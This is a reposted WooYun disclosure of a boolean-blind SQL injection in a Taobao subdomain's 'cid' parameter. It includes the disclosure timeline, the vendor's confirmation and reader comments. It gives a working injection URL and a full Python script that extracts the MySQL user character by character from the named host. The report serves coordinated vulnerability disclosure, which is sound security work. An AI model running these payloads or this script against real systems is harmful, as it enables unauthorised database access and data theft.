淘宝网某站点存在MySQL注射(附验证脚本)

admin 2015年8月15日21:23:44评论310 views字数 209阅读0分41秒阅读模式
摘要

2014-11-19: 细节已通知厂商并且等待厂商处理中
2014-11-20: 厂商已经确认,细节仅向厂商公开
2014-11-30: 细节向核心白帽子及相关领域专家公开
2014-12-10: 细节向普通白帽子公开
2014-12-20: 细节向实习白帽子公开
2015-01-03: 细节向公众公开

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2014-83899

漏洞标题: 淘宝网某站点存在MySQL注射(附验证脚本)

相关厂商: 阿里巴巴

漏洞作者: lijiejie淘宝网某站点存在MySQL注射(附验证脚本)

提交时间: 2014-11-19 20:51

公开时间: 2015-01-03 20:52

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

5人收藏


漏洞详情

披露状态:

2014-11-19: 细节已通知厂商并且等待厂商处理中
2014-11-20: 厂商已经确认,细节仅向厂商公开
2014-11-30: 细节向核心白帽子及相关领域专家公开
2014-12-10: 细节向普通白帽子公开
2014-12-20: 细节向实习白帽子公开
2015-01-03: 细节向公众公开

简要描述:

淘宝网某站点一处MySQL注射(附验证脚本)

详细说明:

注入点:

code 区域
http://top.lz.taobao.com/index.html?cfname=%E5%A5%B3%E4%BA%BA/%E5%A5%B3%E8%A3%85/%E7%AE%B1%E5%8C%85&cname=%E5%A5%B3%E8%A3%85/%E5%A5%B3%E5%A3%AB%E7%B2%BE%E5%93%81&dtype=10&level=all&locale=all&more=main&qtype=51a&cid=16 AND length(user())=21

参数cid可注入,MySQL bool blind。 出现韩都衣舍时为True。

漏洞证明:

猜解user(),得到:

code 区域

当前库:dp_rank_new

淘宝网某站点存在MySQL注射(附验证脚本)

验证脚本附上:

code 区域
#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib


headers = {}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')

print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''

base_url = "/index.html?cfname=%E5%A5%B3%E4%BA%BA/%E5%A5%B3%E8%A3%85/%E7%AE%B1%E5%8C%85&" + /
"cname=%E5%A5%B3%E8%A3%85/%E5%A5%B3%E5%A3%AB%E7%B2%BE%E5%93%81&" + /
"dtype=10&level=all&locale=all&more=main&qtype=51a&"

for i in range(1,22):
for payload in payloads:
conn = httplib.HTTPConnection('top.lz.taobao.com', timeout=60)
s = "cid=16 AND ascii(mid(user()from(%s)for(1)))=%s" % (i, ord(payload))
conn.request(method='GET',
url = base_url + s,
headers=headers)
html_doc = conn.getresponse().read().decode('utf-8')
conn.close()
if html_doc.find(u'卖家:韩都衣舍旗舰店') > 0: # True
user += payload
sys.stdout.write('/r[In Progress]' + user)
sys.stdout.flush()
break
else:
print '.',

print '/n[Done]MySQL user is ' + user
print time.strftime('%H:%M:%S', time.localtime())

修复方案:

过滤或转换

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-11-20 13:38

厂商回复:

感谢你对我们的支持与关注,该问题我们正在修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-11-20 14:23 | Zombiecc ( 路人 | Rank:0 漏洞数:2 | just for fun.)

    1

    .............(不说话)

  2. 2014-12-23 21:42 | 风之传说 ( 普通白帽子 | Rank:217 漏洞数:39 | 时间在哪里,成就就在哪里.)

    1

    一看附脚本就知道是你。。。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin